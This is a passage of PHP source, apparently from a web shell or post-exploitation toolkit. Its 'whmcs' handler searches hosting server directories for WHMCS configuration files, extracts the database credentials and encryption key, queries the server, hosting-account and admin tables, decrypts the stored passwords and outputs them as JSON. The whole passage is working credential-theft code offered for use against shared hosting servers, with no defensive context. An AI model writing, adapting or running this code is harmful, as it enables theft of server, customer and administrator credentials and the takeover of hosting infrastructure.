    }
    return $accounts;
}

// ── action: whmcs ─────────────────────────────────────────────────────────────

function whmcs_handler(): void {
    $results = [];

    $search_paths = array_merge(
        glob('/home/*/public_html/configuration.php')        ?: [],
        glob('/home/*/public_html/whmcs/configuration.php')  ?: [],
        glob('/home/*/public_html/billing/configuration.php') ?: [],
        glob('/home/*/public_html/*/configuration.php')       ?: [],
        glob('/var/www/html/configuration.php')               ?: [],
        glob('/var/www/*/configuration.php')                  ?: []
    );

    foreach ($search_paths as $cfg_path) {
        $cfg_content = @file_get_contents($cfg_path);
        if (!$cfg_content) continue;
        // Only process WHMCS configs (must contain cc_encryption_hash)
        if (!preg_match('/cc_encryption_hash/i', $cfg_content)) continue;

        $cfg = [];
        foreach (['db_host','db_username','db_password','db_name','db_port','cc_encryption_hash'] as $key) {
            if (preg_match('/\$' . preg_quote($key, '/') . '\s*=\s*[\'"]([^\'"]*)[\'"]/', $cfg_content, $m))
                $cfg[$key] = $m[1];
        }
        if (empty($cfg['db_name'])) continue;

        $enc_key = $cfg['cc_encryption_hash'] ?? '';
        $conn = @mysqli_connect(
            $cfg['db_host']     ?? 'localhost',
            $cfg['db_username'] ?? '',
            $cfg['db_password'] ?? '',
            $cfg['db_name'],
            (int)($cfg['db_port'] ?? 3306)
        );
        if (!$conn) {
            $results[] = ['config' => $cfg_path, 'error' => 'db_connect_fail',
                          'db_host' => $cfg['db_host'] ?? '', 'db_name' => $cfg['db_name']];
            continue;
        }

        $servers = [];
        $res = @mysqli_query($conn,
            "SELECT id,name,hostname,ipaddress,type,username,password,accesshash,port,`secure` FROM tblservers LIMIT 200");
        if ($res) {
            while ($row = @mysqli_fetch_assoc($res)) {
                $row['password']   = whmcs_decrypt($row['password']   ?? '', $enc_key);
                $row['accesshash'] = whmcs_decrypt($row['accesshash'] ?? '', $enc_key);
                $servers[] = $row;
            }
        }

        $hosting = [];
        $res2 = @mysqli_query($conn,
            "SELECT h.id,h.domain,h.username,h.password,h.server,h.dedicatedip,"
            . "c.email AS client_email "
            . "FROM tblhosting h LEFT JOIN tblclients c ON c.id=h.userid LIMIT 1000");
        if ($res2) {
            while ($row = @mysqli_fetch_assoc($res2)) {
                $row['password'] = whmcs_decrypt($row['password'] ?? '', $enc_key);
                $hosting[] = $row;
            }
        }

        $admins = [];
        $res3 = @mysqli_query($conn,
            "SELECT id,firstname,lastname,email,password,authmodule FROM tbladmins LIMIT 100");
        if ($res3) {
            while ($row = @mysqli_fetch_assoc($res3)) $admins[] = $row;
        }

        @mysqli_close($conn);

        $results[] = [
            'config'  => $cfg_path,
            'db_host' => $cfg['db_host'] ?? '',
            'db_name' => $cfg['db_name'],
            'servers' => $servers,
            'hosting' => $hosting,
            'admins'  => $admins,
        ];
    }

    echo json_encode(['ok' => !empty($results), 'results' => $results,
                      'error' => empty($results) ? 'no_whmcs_found' : null]);
}

function whmcs_decrypt(string $encrypted, string $enc_key): string {
    if (!$encrypted || !$enc_key) return $encrypted;
    // Modern WHMCS 7+ AES-256-CBC: SHA-256 of the hash key, IV prepended
    if (function_exists('openssl_decrypt')) {
        $key  = hash('sha256', $enc_key, true);
        $data = base64_decode($encrypted);
        if ($data && strlen($data) > 16) {
            $dec = @openssl_decrypt(substr($data, 16), 'AES-256-CBC', $key,
                                    OPENSSL_RAW_DATA, substr($data, 0, 16));
            if ($dec !== false && $dec !== '') return $dec;
        }
    }
    // Legacy fallback — plain base64
    $dec = @base64_decode($encrypted);
    if ($dec && preg_match('/^[\x20-\x7e\n\r\t]+$/', $dec)) return $dec;
    return $encrypted;
}